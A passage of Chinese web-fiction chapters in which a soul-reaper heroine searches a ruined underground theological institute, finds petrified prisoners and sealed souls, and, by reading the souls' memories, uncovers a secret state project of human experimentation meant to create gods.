可在这两层“研究所”的最深处，颜辞云却看到无数一人高的直立罐子堆积成山。 透过罐子里漂浮着不明物的发霉绿水，颜辞云依稀可以见到罐子里那些死状狰狞的尸体。 颜辞云叹了口气，虽然早有预料，但仍会感到悲悯。 拾起散落一地的研究记录，颜辞云对照着“精神病院”里发现的病例病案，细细查看。 从这些托肖人来不及销毁的记录和病案里，颜辞云很快拼凑出了这里进行过的两个项目。 第一个项目，是一个人类文明听从众神指示，为众神囚禁、捆缚太阳神死后残躯，研究和分析这具神躯上的神力构成，从而将太阳神的神力从其死去的神躯上完全剥离的项目。 但很有意思的是，这个项目的名字叫做【再造太阳】。 而第二个项目，则是一个人类文明对毁灭的恐惧和自救。他们以负十三层的太阳神残躯为一切的影响源，秘密展开对神力本质的探索和窃取，意图用人体改造、媒介影响、开发精神域等方法，令人体一点点适应神力、植入神的血肉，最终达成以人身取代神身、以人类取代神灵的项目。 这个项目名为，【再造文明】。 颜辞云对这些资料一页一页看过去，不对这些项目和计划做任何评价。 从大局上来说，颜辞云或许是应该为这样的挣扎自救而感动、为文明之火的飘摇和顽强而热泪盈眶的。 但事实上，颜辞云更明白，如果她身处这样的文明里，她最有可能的位置不是那个被制度保护的人，也不是那个在绝对安全的环境下接受神力的改造和神血植入、获得超凡力量的人。 她只会是那个一无所知下来到负十三层、以为自己拼尽全力终于找到了好工作，但事实上却时时刻刻面临着异变的被观察者；她也会是那个因无法理解的异变被毁灭了自己作为人的一生后，又被驾到研究台上要求为了文明献身的被实验者。 所以，没错。 哪怕听起来非常冷血、没有大局观、没有奉献精神，但颜辞云对所谓的“再造文明”计划，就是半点儿都不感动。 全生避害，为我贵己。 无拘无束，逍遥自在。 颜辞云自始至终的原则，也只有这一个而已。 放下手中的资料，颜辞云继续向上。 而当她终于来到负六层，也就是电梯轿厢停住后迟迟无法离开的那个楼层后，颜辞云终于在这里找到了神学研究院毁灭的原因，和天上十二日凌空、曾经的太阳执行人宣战众神的真相！ 第88章 负六层 这里一定死过很多人…… 顺着电梯井来到负六层，钻进电梯轿厢后，颜辞云一眼就看到一个玉色的东西正直挺挺横在楼层与电梯之间。 想来，就是这东西在电梯门打开后倒了下来，卡住了电梯门，才令电梯一直停在负六层开开关关、不上不下吧。 这样想着，颜辞云低头打量，发现这玉色的东西正是一具骨架。 玉质的人体骨骼模型？ 谁啊，人体骨骼模型怎么还搞得这么大手笔……不对！ 蓦地，颜辞云抬眼望去。 只见，在干干净净、灯光明亮的负六层走廊上，无数姿势千奇百怪的“玉质人体骨骼模型”挤在这里。 它们姿势各异，有的正在奔跑，有的正在回头，有的被身后的骨架推了一把、踉跄着几乎跌倒，有些哪怕被其它骨架踩在脚下也依然努力向电梯门伸出了手…… 这些骨架，看起来似乎只是模型而已，但颜辞云却好似从这些“模型”上清楚看到了一张张惊恐不安的脸，和一道道茫然游荡的幽魂。 一股莫名的悚然感爬上颜辞云的背脊，颜辞云皱紧了眉。 “怎么会这样？” 颜辞云忍不住思考。 “它们到底是被意外赋予了活动能力的真·骨骼模型？还是被掏空了血肉后连骨骼都玉化了的人？” 颜辞云俯身，打量最近的一具玉质骨架的胸口，想要看看它身上有没有残留的灵魂。 但，没有。 它好似真的只是一具造型奇特的骨架模型，并没有留给颜辞云更多信息。 “看来果然是玉质模型，毕竟……” 人的骨头，怎么可能变成玉呢？ 可是，虽然这么想着，但颜辞云还是下意识地冒出了一个念头： “难道说……神学研究院的一切混乱，都是从这里开始的？” 颜辞云无声飘入了负六层。 而在踏入负六层的第一时间，她脚步一顿。 也不知道为什么，明明当颜辞云站在电梯轿厢内观察这一层时，颜辞云还觉得这一楼层最吓人的，无非就是走廊上那些挤挤挨挨的玉质人体骨骼了。 除了这些骨架子外，这个负六层与其它的楼层并没有太多不同，都是灯光明亮，结构复杂，设备齐全，让人一眼就能看出这是一个精英齐聚的地方。 可当颜辞云真正踏入负六层后，她的第一反应是： 这里一定死过很多人。 叮——叮——叮—— 电梯门依然在开开合合，那机械的声音在颜辞云身后一次次响起。 分明此刻，颜辞云周身的灯光明亮，似乎能驱散一切的黑暗和恐惧，可一股说不出的幽暗森冷，却就是盘绕在她的周身，挥之不去，就像是…… 就像是有无数看不见的冤魂，正在这一层一边游荡，一边幽幽哭泣！ “不应该啊……” 颜辞云先是为自己的丰富联想感到头皮发麻，但下一秒，她又理性认识到这其实是不可能的事。 首先，穿上死神外套的她就是死亡收割者，比那群职业的死魂收割人还要高一级。 一个地方有没有死魂、有多少死魂，她还不知道吗？ 其次，这是一个有冥府的世界，而且还是九层冥府。 所有离开身体的死魂，都会在死后陆续去往冥府，鲜有在人间逗留的。 所以，综合来说，别看这一楼层看起来让人毛毛的，但这儿还真没有什么恐怖元素。 颜辞云思考了两秒，很快反应过来，看了看自己的脚底，又看了看四周的墙面。 她拿出镰刀，轻轻一挥。 下一秒，恍若鬼哭神嚎的阴风中，大量代表着灵魂的光点从每一寸墙体和每一寸地面冒出，密密麻麻，像是山崩时的海啸狂涌！ “卧槽！” 这一瞬间，哪怕是情绪稳定颜辞云都没能绷住，被吓了一大跳，灵魂质问脱口而出： “怎么会有这么多灵魂？这是怎么回事？！” 颜辞云这会儿拿出镰刀可不是想要收集灵魂的。 她只以为自己会像在负十三层那样，用镰刀采集到一些影响环境的特殊材料而已！ 而这些灵魂…… 它们都是什么鬼？！ 颜辞云及时伸手，在虚空中轻轻一握，没让这些被“拽”出来的灵魂漫天飞舞，而是向她掌中聚拢。 一个，两个，三个。 十个，百个，千个！ 大量灵魂狂涌，如乳燕投林般飞入颜辞云的掌中，在她手心上方轻轻沉浮，一个光点一个光点地汇聚成了一个几乎比颜辞云脑袋还要大的光球！ 颜辞云盯着这些密密麻麻的光点，几乎难以想象这里究竟死过多少人，也难以想象他们究竟是因何死去，又因何停留人间。 当然，颜辞云更难以想象的是，这么多的灵魂之前究竟隐藏在什么地方！ 为什么她一直都没有感受到，直到用镰刀强制采集出来才发现？ 这不应该啊！ 还有这个世界的九层冥府，它们是不运作了吗？明明这地儿都几乎成乱葬岗了，它们也完全没反应的吗？ 这不应该啊！ 颜辞云盯着手中越收越多的灵魂，几乎按捺不住自己心中的冲动，想要窥探一下这些灵魂生前的记忆，好满足她此刻爆棚的好奇心。 要做到件事其实非常简单，只要颜辞云亲手触碰到灵魂就行。 虽然在赛博修仙世界里，向颜辞云演示死神日常的卡多斯曾告诫过颜辞云不要做这种事，并且表示只有当死魂和肉体还有联系的时候才能窥探记忆……但颜辞云是谁？ 记忆这东西，她只要触碰到灵魂，就能随便翻了好嘛！ 只不过，颜辞云最后还是没有这样做。 倒不是因为颜辞云有多尊重他人隐私。 而是现在的颜辞云还控制不好自己“翻看”记忆的速度，怕她一下子看太快，让太多属于他人的记忆大量涌入后，反倒混淆了自己的存在和独立性而已。 没必要为了一些迟早会探明的东西冒险。 颜辞云是这样想的。 反正，等搜过这一层后，真相自然会明了的。 于是，在收集完最后一个灵魂后，颜辞云反手将这些死魂塞进了死神外套的空间袋里，继续向前，熟练地开始在地上捡资料。 就和下头的那些楼层一样，这个楼层里同样散落着许多许多资料，像是游戏里的图鉴一样，等待颜辞云一一点亮。 可与下头楼层不一样的是，这些资料竟然并没有什么爆炸性内容，而是非常普通的上班打卡的记录。 “……不会吧？” 真的假的？ 下头那几层看起来那么平静的楼层，硬是被她从资料里翻出了两个爆炸性的项目。 而这一个看起来这么爆炸、一看就非常有故事性的楼层，怎么资料反而这么平淡了？ 该不会是有什么关键线索没翻到吧？！ 颜辞云不信邪，秉持着严肃、谨慎、认真的态度，把这一层所有能收集的、能阅览的资料都翻了一遍。 最后，颜辞云确定了： 这里真的没什么藏起来的秘密。 因为这一层，并不是颜辞云所想的秘密基地、秘密研究所，而是一层特制的、用来关押某些特殊“人才”的牢房而已。 除了囚犯之外，这儿就只剩下了狱卒。 ——看起来还挺正常的。 不过，当颜辞云翻到这层特殊监狱的囚犯们的档案后，倒是看到了许多有意思的东西。 比如说他们的罪名，以及他们被囚禁被看管的理由。 原来，因托肖人一代又一代的基因配库和基因优化，他们的文明里出现过许多个人能力如星星一样璀璨的人。 这些人或是拥有能突破音速的可怕的肉体，或是拥有能操控精神操控元素的超凡力量，又或者干脆曾经当过太阳执行人，肉体和精神都因长年的神力浸染而被超级加倍——比如说南陆。 像这样以单体力量就超越了文明顶尖水准的人，是很容易在社会上引起动乱的，于是，出于□□，托肖文明认为有必要将这些人“保护性收容”起来。 可问题是，收哪儿去呢？ ——就是这里。 颜辞云不太清楚托肖人是用什么办法让这些人乖乖就范的，也不知道这些人在被关进这一层后为什么就真老老实实待在了这一层。 但至少，这些人的“罪名”给颜辞云留下了极深刻的印象。 【姓名：全心】 【性别：女】 【年龄：13】 【罪名：自持拥有一双能窥探神力脉络的真视之眼，在公共场合做出“太阳已死”“文明将亡”等扰乱社会秩序的言论，情节严重，被当地警局逮捕后转入特殊监狱。】 【最终处理：摘除真视之眼，关入无音室，隔离保护，不允许与任何人交谈，终身不可离开监狱。】- 【姓名：楚佩雯】 【性别：女】 【年龄：26】 【罪名：在一次案件中意外被S级圣物神圣天平附身，从此拥有看破罪恶、裁断生死的能力，情节特别严重，极大干扰了正常社会秩序，特此收容。】 【最终处理：因其肉体无法被消灭，已转入安睡室，每日埃托咖不得少于50毫升。】- 这两份资料，“罪名”一个比一个有趣，特别是“情节严重”和“情节特别严重”这两个形容词，给颜辞云留下了极深刻的印象。 因此，颜辞云还特意找到了所谓的“无音室”和“安睡室”，分别发现了一具三十多岁的玉化的女性骨骼，和一具密度严重异常的玉化骨骼。 颜辞云摇了摇头，叹了口气。 只不过就连颜辞云自己也不知道，这一声叹息是她确定了这些玉化骨骼原来真的是人后生出的怜悯，还是看着两个本该自由的生命在狭小的笼子里空耗生命的悲哀。 无论如何，颜辞云都再次确定了：自己果然还是更喜欢一个人离群索居地活着。 而接下来，很快的，颜辞云在犯人档案里翻到了一个熟悉的名字- 【姓名：南陆】 【性别：男】 【年龄：29】 【罪名：冒领神名，冒犯众神，并以太阳神之名在十年间杀害了民众千余人。罪大恶极，罪不容诛。】 【最终处理：关入月阴室，永不获赦】- 月阴室？这是什么地方，竟然能关得住一个太阳执行人……等等！ 颜辞云蓦地反应过来：原来南陆就关在这里？ 那这一整个负六层的异状——那些玉化的骨骼——莫非都是南陆逃离监狱时做下的？ 可他不是“太阳执行人”吗？ 如果他要逃狱，他爆发的力量，怎么都应该与太阳相关才对吧？ 抱着这样的困惑，颜辞云在这一复杂的监狱层里转来转去，很快找到了月阴室。 理所当然的，所谓的月阴室里空空如也，不像其它的房间那样有玉化骨骼。 可奇怪的是，这一个房间内外呈现极大的状态差异： 在这个月阴室的内部，就像是遭过什么可怕袭击，恐怖的高温和火焰将整个房间都烧得一团焦黑，惨不忍睹。 而在月阴室的外部，却有一层冰冷的白玉附着。这冷玉似乎阻断了高温，保护了这一层的所有人与设备，让这一层监狱没有在月阴室犯人的爆发下毁于一旦。 可颜辞云看着看着……怎么觉得这月阴室外这层冷玉，和走廊上的那些玉化骨骼是一个材质呢？ 颜辞云沉吟两秒，再次拿出镰刀一挥。 一个沉甸甸的破碎玉球落在了她的掌中。 【碎裂的月亮宝球：原始月亮第一次死亡时从天空落下的残躯，拥有大量的月亮神力。然而因超量的太阳之力的爆发，这颗月亮宝球已经耗尽了所有神力，如今只是一颗普通的珠子而已。】 碎裂月亮宝球的注释并不算详细，但也已经足够了。 颜辞云把这颗碎裂的珠子握在手中，轻轻转了两圈，飞快明白了自己在这一层看到的种种异变的由来，以及事件的大致脉络。 第89章 人间地狱（一） 问题是，为…… 首先要明确的一件事是，虽然每个世界对力量的叫法都各不相同，但无论是地火水风还是金木水火土，其力量的本质是不变的。 所以月属阴，日属阳，它们是相生相克的关系。 由此，可以很容易联想到一件事，那就是当托肖人在大地上寻找到这颗月亮宝球时，他们能否发现这颗宝球的不同凡响、发现它对太阳执行人的克制？ 必然是可以的。 那么他们也必然会谨慎地使用这颗月亮宝球。 比如说用来关押某个特定的人。 颜辞云想，这大概就是“月阴室”这个名字的由来吧。 按理来说，这样的关押是不会出岔子的，毕竟“太阳执行人”这个叫法再如何高大上，其指向的也只是一个获得部分太阳神力的人类，如果没有意外，一个人类是不可能挣脱由原始月亮残躯形成的月亮宝珠的束缚的。 可意外就是这样发生了—— 被放置在负十三层囚神狱里的太阳神残躯逃脱了！ 可能是因为某种共鸣，也可能是因为某种召唤，甚至可能是因为某种阴谋。 太阳神死去的躯体从负十三层消失，化作了南陆的力量……又或是南陆化作了太阳神的力量？ 谁说得准呢。 总之，当负六层月阴室内的太阳神力疯狂暴涨时，月亮宝珠作为月阴室的核心，自然承受了最大的压力。 而直到月亮宝珠再也抵抗不了太阳神力后，被它囚在笼中的犯人消失了，月亮宝珠则原地碎裂，其残余的月亮神力则取代高温的太阳神力，向整个负六层扩散了出去。 这也是为什么颜辞云在踏入负六层后明明气温没有异常，但就是觉得四周格外幽冷。 因为太阳神力属阳，作用于物质，特性是高温和燃烧；而月亮神力属阴，作用于灵魂，特性是冻结和石化。 玉就是石头，所谓的“玉化”，不正是“石化”的一种吗？！ 所以，整个负六层的石化路径，应该是这样的： 首先，当阴阳两种属性力量在月阴室内发生碰撞时，月阴室的外层开始凝结出了一层厚厚的玉壳/石壳。 在这个时候，整个负六层的狱警们应该也发现了不对，慌张试图逃离。 可很快的，甚至没等离电梯最近的那个人按下按钮，月亮宝球便碎裂了，太阳就此逃逸，月亮神力则从宝球泄露扩散，瞬间抽离了本层所有活物的生命，包括血肉，包括灵魂！ 颜辞云不知道被月亮神力侵蚀的血肉去了哪里，但她知道，被月亮神力抽走的灵魂在哪里。 它们曾在这负六层的墙面中沉睡了不知多少的岁月，而如今，它们全都在她死神外套的空间袋里。 “也就是说……故事的开端，就是太阳神躯的逃离……” 随着太阳神躯的逃离，神学院研究所和“神经病院”也立即反应过来，立即丢下手上的一切，第一时间撤离。 与楼下研究所们一块儿准备跑路的，还有负六层的狱警们。 可月阴室的变故发生太快了，他们最快的那个明明都跑到了电梯前，却没来得及按下电梯键就被月亮神力石化了。 “不过……” 颜辞云凝神思考：不过，这个猜想虽然是最合理的，但还有两个很重要的问题。 第一个问题是，死在负六层的人数，与颜辞云在墙面里收集到的灵魂数量对不上。 颜辞云大致扫了一眼，发现这负六层虽大、被石化的骨架虽多，但满打满算也不到两百。 可颜辞云从墙面里“采集”到的灵魂，又何止百数？ 颜辞云粗略一估计，就知道它几乎有万数！ 这样可怕的死人数量和灵魂数量，到底从何而来？ 颜辞云实在找不到答案。 甚至当颜辞云将负五层到负一层全都搜了一遍后，也没有得到答案。 因为以上的那些楼层，都是普通的典籍存放层和物品存放楼层，人类活动的痕迹很少，自然也不会有特殊的资料之类。 而第二个问题是，为什么随着太阳的逃脱，地面上那个普通的神学研究院也发生了暴乱？ 这一场暴乱留下的痕迹非常混乱，应该是许多掌握了不同属性力量的人在同一时间出手了，并且是无差别地向所有人发起攻击，造成了数量恐怖的人员伤亡，甚至让整个地面建筑都化作废墟。 这些人莫非是疯了吗？ 很有可能。 但理由呢？ 如今的颜辞云已经知道，天上的太阳并不是真的太阳，而其实是一具巨大的、散发着可怖高温和火焰的尸体—— 是的，直到被神学院的那张“疯言疯语”提醒，颜辞云凝神看了许久才终于分辨了出来，那颗看起来与寻常太阳没什么两眼的东西，其实根本不是太阳，而是一具被无形力量揉捏成了一个圆形的巨大尸体！ 在发现这一点的时候，颜辞云也是被狠狠吓了一跳。 但那时候，颜辞云只以为那具尸体是“太阳神”。 可直到颜辞云来到负十三层，发现太阳神的尸体其实被困在囚神狱里后，天上那具充当太阳的巨型尸体的身份，就变得扑朔迷离了起来。 在颜辞云脑中的疑问变得越来越多： 天上的那颗“太阳”，如果不是太阳神的话，又会是谁？ 神学院地上的人为何发疯？为什么他们要强调“不要看太阳”？ 神学院地下的灵魂从何而来？为什么会有成千上万的死魂被禁锢在负六层？ 颜辞云思来想去，实在没有答案，最后只能翻出了那个被她早早否决掉的方案： 翻阅死魂的记忆。 就让当事人来告诉她答案吧！ 这样想着，颜辞云从空间口袋里掏出一个灵魂，凝神看了两秒后，松开手，任它在虚空轻轻漂浮，同时打开人物面板，做好一有不对马上切人物卡的准备后，则伸出指尖，轻轻一点。 就如同颜辞云所想的一样，她对“死亡”这份力量的操控的并不熟练，细节方面非常烂。 毕竟颜辞云自身是没有“死亡”这个属性的，她之所以成为死亡收割者，完全是因为披上了这身死神外套。 但好消息是，他人记忆的涌入，对颜辞云自身灵魂的冲击小之又小！ 哪怕支撑颜辞云自身的记忆，仅有不到五年的细节，可当她面对旁人二三十年的记忆冲击时，她竟然只如同看了一场电影似的。 不能说一点影响都没有，只能说，略有。 颜辞云终于放下心来，反手从空间袋里又掏出数个灵魂，准备把这些幸运儿的记忆一一查看过去。 第一个被颜辞云抽中的幸运儿，是一个看起来非常普通的社畜。 他的一生都十分平淡，按部就班地长大，按部就班地学习，按部就班地等待学校分配工作。 ——是的，他甚至连进正价宫面见沃拉冈的资格都没有，只能被动等待学校按照他们的成绩划分区间，批量分配工作。 但这人身上似乎真的有几分幸运在身上，毕业后得到的工作简直像是撞了大运，竟然是来到神学研究院当一名整理神学书籍资料的专家！ 要知道，这个工作虽然工资不算高，但却是出了名的安全不累事儿少，和那些负责去野外开荒的、负责规划城市建设的、负责搬砖抹灰的之类工作，好到不知哪儿去了。 因此，毕业季短暂的狂欢后，新任专家走马上任了。 可是，他万万没想到的是，这一份本该是外人眼中的完美工作，却一步步将他逼上了绝路！ 从他来到神学院的第一天，他就觉得这里的同事们非常奇怪。 他们脸色惨白，眼眶深陷，身形瘦削，摇摇欲坠像是得了什么古怪疾病，看起来似乎下一秒就会倒头栽下。 而更让他毛骨悚然的是，这些人的身上竟然会发出一种奇怪的声音！ 最开始时，他还以为那是同事们口中的嘟哝声。 就像是校园时同学们偷偷背诵时发出的声音一样，背着背着、背到卡壳时，就会忍不住发出一些古怪的气音和苦恼的呻吟。 而神学院的环境其实就是一个放大版的校园，这些同事们肯定也在偷偷背诵着什么吧？ 他是这样想的。 可很快的，他发现事情并非如此。 因为在某天吃食堂时，他清楚听到坐在自己对面喝粥的同事身上发出了一声轻笑。 嘻嘻。 像是恶作剧得逞一样的轻笑。 甚至像是少女一样有着绸缎般嗓音的轻笑。 可坐在他对面的同事，分明是个老人，甚至对方还在喝粥！ 那……那这样的声音…… 是怎么来的？ 这一刻，一股说不出的凉气从脚底升起。 而也正是从这一天开始，他见到的怪事越来越多。 有时候，他在低头整理书籍时，分明听到有人在身后呼唤他的名字，可当他回头时，背后空无一人。 有时候，他在租房里切菜时，刀下的菜板突然溢出鲜血，甚至长出人脸来，向他发出尖利叫声。 有时候，他在夜晚入睡后，突然感到自己像是被什么人按进水底，在呛水和窒息中几乎死去，可惊醒后却没有在自己身上摸到半点水渍。 甚至有时候，他在与同事们讨论事项时，突然见到面前的同事无火自燃，短短片刻间就烧成了一具焦尸，并且伸出手疯狂向他抓来，直把他吓得大叫不已，可当他被旁人用力晃醒后才发现刚刚的一切只是他的幻觉。 等等等等。 因此，在进入神学院短短不到三年的时间里，他就变得和那些同事们一样瘦削惨白，不，是比他的同事们更虚弱颓败。 因为就在他终于忍不住这三年越演越烈的幻象侵袭而想要自杀时，他被同事及时发现，送到了神学院地下负十层的治疗病院里。 从这一天以后，他的精神就变得越发迷乱了，就像是被撕碎后揉成一团的碎纸。有时候，他以为自己还在上学，还在父母的膝下撒娇，但有时候他又觉得自己该起床上班了。 而在他短暂清醒的时间里，他会花时间去思考。 思考自己是不是真的疯了。 如果疯了的话，他是如何疯的？为什么疯的？ 而如果没有疯的话，又是谁疯了？ 他没有得到答案。 只有记忆最后的那一轮耀眼太阳，在不知道是否为精神病病人临死前的幻想里熊熊燃烧。 “好冷啊……” 这是他在这一轮太阳下最后留下的话语。 · 第一个幸运儿的记忆就此结束。 颜辞云眉头紧皱，发现事情变得越发微妙了起来。 要知道，对于神学院集体发疯这件事，颜辞云是有大致猜想的，比如说被月亮宝珠碎裂时的余波影响到了什么的。 阴属性的力量作用于精神，当它以“强-次强-弱”的范围扩散出去后，地面上的神学院众人没有如负六层的狱警们那样被玉化，而是发了疯，也是很合理的。 可事实上，在第一个幸运儿的记忆里，当他被关进负十层的治疗病院时，天上那位太阳执行人的名字甚至还不叫南陆！ ——神学研究院的发疯史，竟然是从那么久以前就已经开始了？ 这是颜辞云得到的第一个有用信息。 那么，他们究竟为何发疯？ 真的不是因为月阴室里月亮宝珠潜移默化的影响吗？ 毕竟，像原始月亮残躯这样重量级的东西，就算是没有发生神力泄露，也肯定是会向周围持续散发影响的，这样的影响，必然会损害人类的精神。 可事实上，第一位幸运儿的脑中幻象，其意象却大多是与“太阳”相关……所以，难道真的不是因为“月亮”，而是因为太阳？ 是因为神学院的众人“抬头看了太阳”，所以才发疯了？ 但这不合理呀。 这个世界里“抬头看太阳”的人那样多，为什么偏偏只有神学院的人疯了？ 而且，多年前死在负十层精神治疗病院里的人，为什么灵魂却出现在了负六层的墙壁里？ 除非—— 这一刻，颜辞云脑中蓦地冒出了一个令她头皮发麻的念头。 ——除非，负六层墙壁内的灵魂，根本不是因为月亮宝珠的碎裂而被意外卷入、封印于此的。 而是在很久很久以前，某些人在建造地下建筑之初，就用了特殊方法，意图将所有死在神学院里的人类灵魂全部封存在这里！ 几乎在这个念头生起的瞬间，颜辞云便从生死夹隙中迈步而出，伸手一拳击碎了身旁的墙面。 砰！ 随着一声略显古怪的空洞回响，墙壁碎裂了。 一股咋看之下漆黑粘稠、细细看去时却又恍若透明的古怪液体，竟然就这样从墙壁内部缓缓流淌出来。 莫名眼熟。 颜辞云蹲身，指尖在这黑水上一抹，轻轻一捻，就感受了熟悉的触感和阴冷。 “是冥府之水……” ——竟然是九层冥府里的水！ 他们怎么得到的？ ——竟然有人把九层冥府的水建在了负六层的墙壁夹缝内！ 难怪这里储存大量的灵魂还不被九层冥府里的死神发现，难怪颜辞云站得这样近都没有发现墙内的端倪。 因为引渡灵魂、储存灵魂，这本就是冥府之水的本职工作与使命！ “可是……问题是，为什么？” 为什么明明已经有了真正的九层冥府，托肖人却还要在人间、特别是在神学研究院的正下方 ，建立起一个“人间冥府”？ 随着颜辞云的发现越来越多，一个令颜辞云越来越感到不安的猜想开始浮出水面。 她眉头紧皱，在原地站立许久后，终于在迟疑中伸出手，向着第二个幸运儿的记忆轻点。 第90章 人间地狱（二） 再造神族…… 第二个幸运儿的记忆，来自一个病人。 但这位并不和第一位幸运儿那样，是在发疯后被压进负十层治疗病院的精神病人，而是一个看起来似乎与神学院毫不相关的基因病人。 托肖文明是一个非常看重“基因优化”的地方。 可有时候，越是强调“基因”的重要性，就越容易把基因排列组合出一些奇特的疾病来。 像多指症、智障、肌强直、先天性愚型等，这些也只能算小儿科。 就连颜辞云从废纸回收站的日记本里窥探到的那个同样患有基因病——白化病——的孩子，在托肖文明的基因病史上也不算多么严重。 真正难以解释、让颜辞云见了都要近乎一声“厉害”的基因病，还得是这位病患身上自带的日灼病。 所谓的日灼病，很简单，就是暴露在日光下超过一小时以上就会发生人体自燃的病症。 这个病症听起来有点像吸血鬼病，也就是卟啉病，可却又比卟啉病要严重得多，因为病人一旦开始自燃，那火焰就是绝对不可熄灭的！ 它会一直一直烧下去，直到将病人身体彻底烧尽、烧成一具再没有任何价值的焦炭，才会停止。 托肖文明对这个病症的由来并没有做出更多解释，只说是“严重的基因突变”。 不过还好，这个病的死亡过程虽然听起来极为可怕，但想要避免也很简单，只要昼伏夜出绝不好奇出门晒太阳，那么保住一条小命还是很容易的事。 人又不是非得晒太阳。 只要能活命，不晒太阳又算什么大事呢？ 可是，总有一些人是无法忍受的。 特别是当这个人明明出身高贵，自生下来就站在了常人望都望不见的云端时，他又如何能够忍受自己缺失了一样99%的人都拥有的东西？ 他如何能够忍受有一样东西对旁人来说廉价得唾手可得，对自己却昂贵如同生命？ 因此，在他的强烈要求下，他位高权重的父母为了研究如何治好他的基因病砸入重金，不但自己开了一家日灼病的研究病院，并且在所有与日灼病相关的医疗研究所入了股，只求能第一时间获得日灼病的研究新进展。 功夫不负有钱人。 在他们家日复一日的砸钱下，一个有关前沿医疗技术的消息传到了他们耳中—— 听说，有一个医疗公司秘密研究出了一个医疗新技术，可以为托肖人治疗80%以上的基因病，并且由于这个技术十分难得，需要使用的医疗设备格外高端，药品格外昂贵，因此这项技术对普通人群保密，只向权贵人士开放。 更重要的是，在消息散播出来的时候，已经有一小部分患有基因病的权贵人士治愈出院了，而这一小部分被治愈了基因病的人里，恰好包括一个患有日灼病的人！ 于是，这一刻，在听到这个消息的这一瞬间，狂烈的喜悦席卷了这位日灼病患者的心，蒙蔽了他的理智，让他不顾父母“再观望一下”的劝阻，执意要把这一项医疗技术使用在自己身上。 他的父母十分无奈，只能叫来那个医疗公司的研究专家，让对方跟自家公司的研究者详细解释一下这所谓的“前沿技术”的医疗原理，以及这项技术对日灼病的治愈概率。 对方公司的人解释得非常详细，听起来也似乎十分可靠，但说道日灼病的治愈概率，对方却直言不讳地说“不太高”，因为这个技术并不是专门针对日灼病的方向进行研究的。 父母听后，忍不住打起了退堂鼓，可他想要使用这项技术的心却更强烈了。 这就像是投资。 如果一个投资顾问天花乱坠地向你介绍某个项目、极力怂恿你购入时，那么这个项目多半是有问题的。 但如果那个投资顾问对你礼貌克制，用保守的话语和“你爱投不投”的姿态向你分析一个项目的优劣时，这个项目则多半是没问题的。 哪怕不能大赚，但也基本不会亏掉底裤。 所以，他执意要使用这个医疗技术，执意进行这一次的治疗。 甚至不同于父母的沉重忧虑，他的心情十分轻松。 毕竟，哪怕治疗不成功又如何？ 不过是白花一笔钱罢了。 反正他家有钱有权，这点儿砸钱的小问题，有什么好怕的？ 于是，三个月与父母的僵持后，他还是得偿所愿，被送进了那个医疗公司独资的医院里。 而当他躺在手术台上被推进手术室里注射麻药时，迷迷糊糊中，他看到半空中有无数幽魂在尖啸哭号，还听到无数重重叠叠的低语。 是……错觉吗？ 无影灯下，他努力凝聚自己有些涣散的目光，在不知真假虚实的世界里看到了两个模糊的人影，听到了他们平静漠然的对话。 “……这个人体内的元素达标了？” “火元素含量56%，是素质最好的那个。” “哦？56%的火元素比？那的确挺难得的，怎么这么好的身体现在才送来？” “没办法，他父母比较难搞，标准的钱权组合，哪怕是我们想要糊弄过去也要多花点时间。” “现在没问题了？” “没问题了，跟上头通好了气，这两天就会把他妈的官撸下去，再把他爸搞破产送去监狱，到时候这对夫妻自顾不暇，当然也顾不上这个儿子的死活了。” “有必要做到这种程度？他们家应该挺识时务的吧？” “这不是缺钱嘛！” “哦！” “行了，别聊了，快动手吧，那边还等着接手这具身体呢！” “没问题。不过这小子的灵魂怎么办？也像那些人一样处理？不是说这种人的灵魂和肉身联系极强吗，万一那边转移灵魂时这里闹出了动静，我们不会被拉过去担责吧？” “没说就按老规矩处理。” “那行。” 迷迷糊糊中，他的大脑难以思考，也难以明白这样的一段话代表着什么。 但他可以感到剃刀是如何刮掉头发的，锯子是怎样劈开头颅的，而他的大脑又是如何被一点点摘下的……这一刻，他心中生出了一种说不清的悲凉。 不知道为什么，在这个死亡一步步逼近的时刻，他却并没有想到自己的父母，而是想到了很久很久以前的事。 那时候，他的年纪还小，却已经早早明白了什么叫身份什么叫阶级。 所以，当他命令保姆家的儿子趴在地上给他学狗叫，却遭到对方的拒绝和质问时，他仰着头，得意又恶意地说道： “你问为什么？因为我生来就是站在云端上的！” “因为我是支配者，你们是猎物，所以我想要你们怎么样，你们就得怎么样！” “你信不信，哪怕我在这里杀了你，你妈也得趴在我脚下舔我的鞋？！” 支配者，支配者…… 谁又会是永恒的支配者呢？ 【我诅咒你们……】 在生命的最后，他心中恶念如杂草丛生。 【我诅咒你们，总有一天将如我一样跌落云端！】 · 颜辞云收回手，再次陷入沉思。 从这个看起来跟神学院似乎毫不相关的病人身上，颜辞云得到的消息并不算多。 在略过他大部分毫无意义的人生后，他留给颜辞云有价值的消息，有且仅有两个。 第一个消息是，托肖人的很多“基因病”很可能不是单纯的病症，而是人体内的某种元素超标，比如说日灼病就是“火元素”超标后在特定条件下引发的自燃现象。 这个消息说重要也重要，说不重要也真的是一点都不重要。 因此颜辞云很快将它丢下。 而第二个消息就重量级多了。 原来，在很多很多年前，托肖文明的黑暗里就有人在着手进行着一些秘密项目。 这个项目咋听起来似乎跟“灵魂”、“身体”、“基因病”等要素相关，但颜辞云大胆猜测，这个项目应该是有人在有意收集一些特殊条件的身体，并在这些身体上进行相应实验！ 更可怕的是，这个项目主持者背后的保护伞大得可怕，哪怕是“副市长+首富”的官商组合都被他们当作猎物，随随便便拉下马，从此求助无门。 ——什么人能量大到这种地步？ 毫无疑问，只有托肖文明的政府自身。 所以颜辞云大胆猜测，这个项目，应该就是官方的秘密项目！ 想到自己在神学研究院地下研究所看到的一系列秘密研究和秘密项目，想到自己手里这个跟神学院毫不相关却偏偏出现在神学院地下负六层建筑里的灵魂，颜辞云咋舌。 “该不会真的是我想的那样吧……” 这个托肖文明，有在背地里拿他们文明里的子民做什么惨绝人寰的实验这件事，几乎是可以确定的了。 而当这个实验与神学院扯上关系后，托肖文明的真正目的，似乎一点点明确了起来。 “所以，根本不是什么冠名堂皇的【再造文明】计划，也不是什么被迫合作的【再造太阳】计划……” 颜辞云有所明悟。 “是哪怕把整个人间化作地狱，都要把某些小部分人推上云端、成为永恒支配者的……【再造神族】计划啊……” 90-100 第91章 人间地狱（三） 多么愚蠢啊…… 大致捋一捋这个世界的时间线。 如果以南陆的人生为这个世界的时间标准线，那么南陆是十八岁大学毕业，在正价宫接过太阳神剑，成为了太阳执行人，在二十八岁时杀死了自己唯一的也是最好的朋友秦自得。 